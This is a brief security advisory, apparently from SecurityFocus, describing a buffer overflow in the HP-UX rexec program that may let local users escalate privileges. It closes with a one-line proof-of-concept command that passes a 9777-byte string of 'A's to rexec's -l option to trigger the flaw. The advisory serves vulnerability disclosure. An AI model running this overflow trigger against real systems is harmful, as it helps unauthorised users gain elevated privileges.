source: http://www.securityfocus.com/bid/7459/info

It has been reported that a problem in the rexec program included with some versions of HP-UX may be vulnerable to a boundary condition error. It may be possible for a local user to exploit this vulnerability to gain elevated privileges on the system. 

exec 127.0.0.1 -l `perl -e 'printf "A" x 9777'` -n something